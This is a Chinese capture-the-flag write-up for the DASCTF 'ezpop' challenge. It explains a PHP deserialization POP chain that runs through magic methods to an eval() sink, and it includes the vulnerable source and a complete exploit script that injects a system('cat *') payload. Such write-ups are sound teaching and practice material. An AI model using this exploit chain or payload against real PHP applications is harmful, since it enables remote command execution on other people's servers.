其他分享
首页 > 其他分享> > 2022DASCTF X SU 三月春季挑战赛-ezpop

2022DASCTF X SU 三月春季挑战赛-ezpop

作者:互联网

2022DASCTF X SU 三月春季挑战赛-ezpop

做这道题要先了解这些魔术方法的调用条件,然后我们再去构造反序列化的pop链

我们再讲一下pop链的构造原理:

简单来说就是通过一个一个魔术方法还有其他普通方法之间的相互调用,最终能够调用到一个能够构造命令执行的方法

image-20220719201245294

先看看源码:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

unserialize会去调用这个fin类的 __destruct()方法,由于方法中的echo $this->f1 . '114514';把这个对象当成了字符串来使用,所以调用了what类的toString()方法,然后再调用mix类里的run方法,然后在这个run方法里把这个对象当成了方法使用,所以就去调用了crow类的invoke方法,又因为在这个invoke方法里调用了一个不存在的world方法,接着就会去调用fin类里的call方法,接着再去调用mix类里的getflag()方法,在这个方法里有eval函数,在这里就可以达到命令执行的效果

完整的pop链:

unserialize()->fin->__destruct()->what->__toString()->mix->run()->crow->__invoke()->fin->__call()->mix->get_flag()->eval()

接着我们就可以去构造exp了

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)(); 
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    { 
        ($this->m1)();
    } 

    public function get_flag()
    {
        eval('#' . $this->m1);  
    }

}

$o = new fin();//为了调用__destruct()方法
$o->f1 = new what();//为了调用__toString()方法
$o->f1->a = new mix();//为了去调用run方法
$o->f1->a->m1 = new crow();//为了去调用__invoke()方法
$o->f1->a->m1->v1 = new fin();//为了去调用__call()方法
$o->f1->a->m1->v1->f1 = new mix();//为了去调用get_flag()方法    
$o->f1->a->m1->v1->f1->m1="?><?php system('cat *');?>";//用?加>先闭合,绕过注释符,然后再去构造命令

echo(urlencode(serialize($o)));
?>

最后在注释里找到,这个cat *命令的意思是抓取当前文件夹下每一个文件的内容

image-20220719212004837

正常思路应该是先ls,然后去抓一下这个flag.php,结果发现没有flag

image-20220719211631750

然后再去根目录下去找一下,发现也找不到(直接去抓那个flag文件,发现里面也是没有flag的信息的)

image-20220719212336926

最后搜索了一下才发现是用这个cat *命令能在F12注释里看到flag

标签:__,f1,调用,function,2022DASCTF,SU,ezpop,m1,public
来源: https://www.cnblogs.com/Jinx8823/p/16495827.html